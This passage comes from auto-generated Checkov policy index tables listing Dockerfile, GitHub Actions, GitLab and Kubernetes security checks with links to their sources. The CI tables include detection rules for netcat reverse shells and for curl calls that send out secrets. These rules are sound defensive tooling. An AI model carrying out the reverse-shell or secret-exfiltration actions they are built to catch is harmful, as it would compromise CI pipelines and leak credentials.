[RunAptGetForceYes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml)                         |\n| 26 | CKV2_DOCKER_12 | resource   | ARG        | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                          | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                 |\n| 27 | CKV2_DOCKER_12 | resource   | ENV        | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                          | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                 |\n| 28 | CKV2_DOCKER_12 | resource   | RUN        | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                          | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                 |\n| 29 | CKV2_DOCKER_13 | resource   | RUN        | Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false                                                                             | dockerfile | [RunNpmConfigSetStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml)           |\n| 30 | CKV2_DOCKER_14 | resource   | ARG        | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                          | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                         |\n| 31 | CKV2_DOCKER_14 | resource   | ENV        | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                          | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                         |\n| 32 | CKV2_DOCKER_14 | resource   | RUN        | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                          | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                         |\n| 33 | CKV2_DOCKER_15 | resource   | RUN        | Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option                                          | dockerfile | [RunYumConfigManagerSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml)   |\n| 34 | CKV2_DOCKER_16 | resource   | ARG        | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                              | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                         |\n| 35 | CKV2_DOCKER_16 | resource   | ENV        | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                              | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                         |\n| 36 | CKV2_DOCKER_16 | resource   | RUN        | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                              | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                         |\n| 37 | CKV2_DOCKER_17 | resource   | RUN        | Ensure that 'chpasswd' is not used to set or remove passwords                                                                                                                           | dockerfile | [RunChpasswd.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml)                                     |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/github_actions.md",
    "content": "---\nlayout: default\ntitle: github_actions resource scans\nnav_order: 1\n---\n\n# github_actions resource scans (auto generated)\n\n|    | Id         | Type     | Entity         | Policy                                                                                                                                                                            | IaC            | Resource Link                                                                                                                                                     |\n|----|------------|----------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_GHA_1  | jobs     | jobs           | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables                                                                                                        | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py)                |\n|  1 | CKV_GHA_1  | jobs     | jobs.*.steps[] | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables                                                                                                        | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py)                |\n|  2 | CKV_GHA_2  | jobs     | jobs           | Ensure run commands are not vulnerable to shell injection                                                                                                                         | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py)                                        |\n|  3 | CKV_GHA_2  | jobs     | jobs.*.steps[] | Ensure run commands are not vulnerable to shell injection                                                                                                                         | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py)                                        |\n|  4 | CKV_GHA_3  | jobs     | jobs           | Suspicious use of curl with secrets                                                                                                                                               | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py)                              |\n|  5 | CKV_GHA_3  | jobs     | jobs.*.steps[] | Suspicious use of curl with secrets                                                                                                                                               | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py)                              |\n|  6 | CKV_GHA_4  | jobs     | jobs           | Suspicious use of netcat with IP address                                                                                                                                          | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py)                                |\n|  7 | CKV_GHA_4  | jobs     | jobs.*.steps[] | Suspicious use of netcat with IP address                                                                                                                                          | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py)                                |\n|  8 | CKV_GHA_5  | jobs     | jobs           | Found artifact build without evidence of cosign sign execution in pipeline                                                                                                        | github_actions | [CosignArtifacts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignArtifacts.py)                                      |\n|  9 | CKV_GHA_6  | jobs     | jobs           | Found artifact build without evidence of cosign sbom attestation in pipeline                                                                                                      | github_actions | [CosignSBOM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignSBOM.py)                                                |\n| 10 | CKV_GHA_7  | jobs     | on             | The build output cannot be affected by user parameters other than the build entry point and the top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty. | github_actions | [EmptyWorkflowDispatch.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/EmptyWorkflowDispatch.py)                          |\n| 11 | CKV2_GHA_1 | resource | permissions    | Ensure top-level permissions are not set to write-all                                                                                                                             | github_actions | [ReadOnlyTopLevelPermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/github_configuration.md",
    "content": "---\nlayout: default\ntitle: github_configuration resource scans\nnav_order: 1\n---\n\n# github_configuration resource scans (auto generated)\n\n|    | Id            | Type                 | Entity   | Policy                                                                          | IaC                  | Resource Link                                                                                                                                                          |\n|----|---------------|----------------------|----------|---------------------------------------------------------------------------------|----------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_GITHUB_1  | github_configuration | *        | Ensure GitHub organization security settings require 2FA                        | github_configuration | [2fa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/2fa.py)                                                                               |\n|  1 | CKV_GITHUB_2  | github_configuration | *        | Ensure GitHub organization security settings require SSO                        | github_configuration | [sso.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/sso.py)                                                                               |\n|  2 | CKV_GITHUB_3  | github_configuration | *        | Ensure GitHub organization security settings has IP allow list enabled          | github_configuration | [ipallowlist.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/ipallowlist.py)                                                               |\n|  3 | CKV_GITHUB_4  | github_configuration | *        | Ensure GitHub branch protection rules requires signed commits                   | github_configuration | [require_signatures.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_signatures.py)                                                 |\n|  4 | CKV_GITHUB_5  | github_configuration | *        | Ensure GitHub branch protection rules does not allow force pushes               | github_configuration | [disallow_force_pushes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_force_pushes.py)                                           |\n|  5 | CKV_GITHUB_6  | github_configuration | *        | Ensure GitHub organization webhooks are using HTTPS                             | github_configuration | [webhooks_https_orgs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_orgs.py)                                               |\n|  6 | CKV_GITHUB_7  | github_configuration | *        | Ensure GitHub repository webhooks are using HTTPS                               | github_configuration | [webhooks_https_repos.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_repos.py)                                             |\n|  7 | CKV_GITHUB_8  | github_configuration | *        | Ensure GitHub branch protection rules requires linear history                   | github_configuration | [require_linear_history.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_linear_history.py)                                         |\n|  8 | CKV_GITHUB_9  | github_configuration | *        | Ensure 2 admins are set for each repository                                     | github_configuration | [repository_collaborators.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/repository_collaborators.py)                                     |\n|  9 | CKV_GITHUB_10 | github_configuration | *        | Ensure branch protection rules are enforced on administrators                   | github_configuration | [enforce_branch_protection_admins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/enforce_branch_protection_admins.py)                     |\n| 10 | CKV_GITHUB_11 | github_configuration | *        | Ensure GitHub branch protection dismisses stale review on new commit            | github_configuration | [dismiss_stale_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/dismiss_stale_reviews.py)                                           |\n| 11 | CKV_GITHUB_12 | github_configuration | *        | Ensure GitHub branch protection restricts who can dismiss PR reviews            | github_configuration | [restrict_pr_review_dismissal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/restrict_pr_review_dismissal.py)                             |\n| 12 | CKV_GITHUB_13 | github_configuration | *        | Ensure GitHub branch protection requires CODEOWNER reviews                      | github_configuration | [require_code_owner_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_code_owner_reviews.py)                                 |\n| 13 | CKV_GITHUB_14 | github_configuration | *        | Ensure all checks have passed before the merge of new code                      | github_configuration | [require_status_checks_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_status_checks_pr.py)                                     |\n| 14 | CKV_GITHUB_15 | github_configuration | *        | Ensure inactive branches are reviewed and removed periodically                  | github_configuration | [disallow_inactive_branch_60days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_inactive_branch_60days.py)                       |\n| 15 | CKV_GITHUB_16 | github_configuration | *        | Ensure GitHub branch protection requires conversation resolution                | github_configuration | [require_conversation_resolution.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_conversation_resolution.py)                       |\n| 16 | CKV_GITHUB_17 | github_configuration | *        | Ensure GitHub branch protection requires push restrictions                      | github_configuration | [require_push_restrictions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_push_restrictions.py)                                   |\n| 17 | CKV_GITHUB_18 | github_configuration | *        | Ensure GitHub branch protection rules does not allow deletions                  | github_configuration | [disallow_branch_deletions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_branch_deletions.py)                                   |\n| 18 | CKV_GITHUB_19 | github_configuration | *        | Ensure any change to code receives approval of two strongly authenticated users | github_configuration | [require_2approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_2approvals.py)                                                 |\n| 19 | CKV_GITHUB_20 | github_configuration | *        | Ensure open git branches are up to date before they can be merged into codebase | github_configuration | [require_updated_branch_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_updated_branch_pr.py)                                   |\n| 20 | CKV_GITHUB_21 | github_configuration | *        | Ensure public repository creation is limited to specific members                | github_configuration | [public_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/public_repository_creation_is_limited.py)           |\n| 21 | CKV_GITHUB_22 | github_configuration | *        | Ensure private repository creation is limited to specific members               | github_configuration | [private_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/private_repository_creation_is_limited.py)         |\n| 22 | CKV_GITHUB_23 | github_configuration | *        | Ensure internal repository creation is limited to specific members              | github_configuration | [internal_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/internal_repository_creation_is_limited.py)       |\n| 23 | CKV_GITHUB_26 | github_configuration | *        | Ensure minimum admins are set for the organization                              | github_configuration | [minimum_admins_in_org.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/minimum_admins_in_org.py)                                           |\n| 24 | CKV_GITHUB_27 | github_configuration | *        | Ensure strict base permissions are set for repositories                         | github_configuration | [require_strict_base_permissions_repository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_strict_base_permissions_repository.py) |\n| 25 | CKV_GITHUB_28 | github_configuration | *        | Ensure an organization's identity is confirmed with a Verified badge Passed     | github_configuration | [require_verified_organization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_verified_organization.py)                           |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/gitlab_ci.md",
    "content": "---\nlayout: default\ntitle: gitlab_ci resource scans\nnav_order: 1\n---\n\n# gitlab_ci resource scans (auto generated)\n\n|    | Id             | Type   | Entity       | Policy                                                         | IaC       | Resource Link                                                                                                                     |\n|----|----------------|--------|--------------|----------------------------------------------------------------|-----------|-----------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_GITLABCI_1 | jobs   | *.script[]   | Suspicious use of curl with CI environment variables in script | gitlab_ci | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/SuspectCurlInScript.py)   |\n|  1 | CKV_GITLABCI_2 | jobs   | *.rules      | Avoid creating rules that generate double pipelines            | gitlab_ci | [AvoidDoublePipelines.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py) |\n|  2 | CKV_GITLABCI_3 | jobs   | *.image[]    | Detecting image usages in gitlab workflows                     | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py)       |\n|  3 | CKV_GITLABCI_3 | jobs   | *.services[] | Detecting image usages in gitlab workflows                     | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py)       |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/gitlab_configuration.md",
    "content": "---\nlayout: default\ntitle: gitlab_configuration resource scans\nnav_order: 1\n---\n\n# gitlab_configuration resource scans (auto generated)\n\n|    | Id           | Type                 | Entity   | Policy                                             | IaC                  | Resource Link                                                                                                                      |\n|----|--------------|----------------------|----------|----------------------------------------------------|----------------------|------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_GITLAB_1 | gitlab_configuration | *        | Merge requests should require at least 2 approvals | gitlab_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab/checks/merge_requests_approvals.py) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/kubernetes.md",
    "content": "---\nlayout: default\ntitle: kubernetes resource scans\nnav_order: 1\n---\n\n# kubernetes resource scans (auto generated)\n\n|     | Id          | Type     | Entity                 | Policy                                                                                                                                                                                         | IaC        | Resource Link                                                                                                                                                                                         |\n|-----|-------------|----------|------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|   0 | CKV_K8S_1   | resource | PodSecurityPolicy      | Do not admit containers wishing to share the host process ID namespace                                                                                                                         | Kubernetes | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py)                                                                     |\n|   1 | CKV_K8S_2   | resource | PodSecurityPolicy      | Do not admit privileged containers                                                                                                                                                             | Kubernetes | [PrivilegedContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py)                                                     |\n|   2 | CKV_K8S_3   | resource | PodSecurityPolicy      | Do not admit containers wishing to share the host IPC namespace                                                                                                                                | Kubernetes | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py)                                                                     |\n|   3 | CKV_K8S_4   | resource | PodSecurityPolicy      | Do not admit containers wishing to share the host network namespace                                                                                                                            | Kubernetes | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py)                                         |\n|   4 | CKV_K8S_5   | resource | PodSecurityPolicy      | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py)                                             |\n|   5 | CKV_K8S_6   | resource | PodSecurityPolicy      | Do not admit root containers                                                                                                                                                                   | Kubernetes | [RootContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py)                                                                 |\n|   6 | CKV_K8S_7   | resource | PodSecurityPolicy      | Do not admit containers with the NET_RAW capability                                                                                                                                            | Kubernetes | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py)                                                             |\n|   7 | CKV_K8S_8   | resource | DaemonSet              | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|   8 | CKV_K8S_8   | resource | Deployment             | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|   9 | CKV_K8S_8   | resource | DeploymentConfig       | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  10 | CKV_K8S_8   | resource | Pod                    | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  11 | CKV_K8S_8   | resource | PodTemplate            | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  12 | CKV_K8S_8   | resource | ReplicaSet             | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  13 | CKV_K8S_8   | resource | ReplicationController  | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  14 | CKV_K8S_8   | resource | StatefulSet            | Liveness Probe Should be Configured                                                                                                                                                            | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                         |\n|  15 | CKV_K8S_9   | resource | DaemonSet              | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  16 | CKV_K8S_9   | resource | Deployment             | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  17 | CKV_K8S_9   | resource | DeploymentConfig       | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  18 | CKV_K8S_9   | resource | Pod                    | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  19 | CKV_K8S_9   | resource | PodTemplate            | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  20 | CKV_K8S_9   | resource | ReplicaSet             | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  21 | CKV_K8S_9   | resource | ReplicationController  | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  22 | CKV_K8S_9   | resource | StatefulSet            | Readiness Probe Should be Configured                                                                                                                                                           | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                       |\n|  23 | CKV_K8S_10  | resource | CronJob                | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  24 | CKV_K8S_10  | resource | DaemonSet              | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  25 | CKV_K8S_10  | resource | Deployment             | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  26 | CKV_K8S_10  | resource | DeploymentConfig       | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  27 | CKV_K8S_10  | resource | Job                    | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  28 | CKV_K8S_10  | resource | Pod                    | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  29 | CKV_K8S_10  | resource | PodTemplate            | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  30 | CKV_K8S_10  | resource | ReplicaSet             | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  31 | CKV_K8S_10  | resource | ReplicationController  | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  32 | CKV_K8S_10  | resource | StatefulSet            | CPU requests should be set                                                                                                                                                                     | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                             |\n|  33 | CKV_K8S_11  | resource | CronJob                | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  34 | CKV_K8S_11  | resource | DaemonSet              | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  35 | CKV_K8S_11  | resource | Deployment             | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  36 | CKV_K8S_11  | resource | DeploymentConfig       | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  37 | CKV_K8S_11  | resource | Job                    | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  38 | CKV_K8S_11  | resource | Pod                    | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  39 | CKV_K8S_11  | resource | PodTemplate            | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  40 | CKV_K8S_11  | resource | ReplicaSet             | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  41 | CKV_K8S_11  | resource | ReplicationController  | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  42 | CKV_K8S_11  | resource | StatefulSet            | CPU limits should be set                                                                                                                                                                       | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                 |\n|  43 | CKV_K8S_12  | resource | CronJob                | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  44 | CKV_K8S_12  | resource | DaemonSet              | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  45 | CKV_K8S_12  | resource | Deployment             | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  46 | CKV_K8S_12  | resource | DeploymentConfig       | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  47 | CKV_K8S_12  | resource | Job                    | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  48 | CKV_K8S_12  | resource | Pod                    | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  49 | CKV_K8S_12  | resource | PodTemplate            | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  50 | CKV_K8S_12  | resource | ReplicaSet           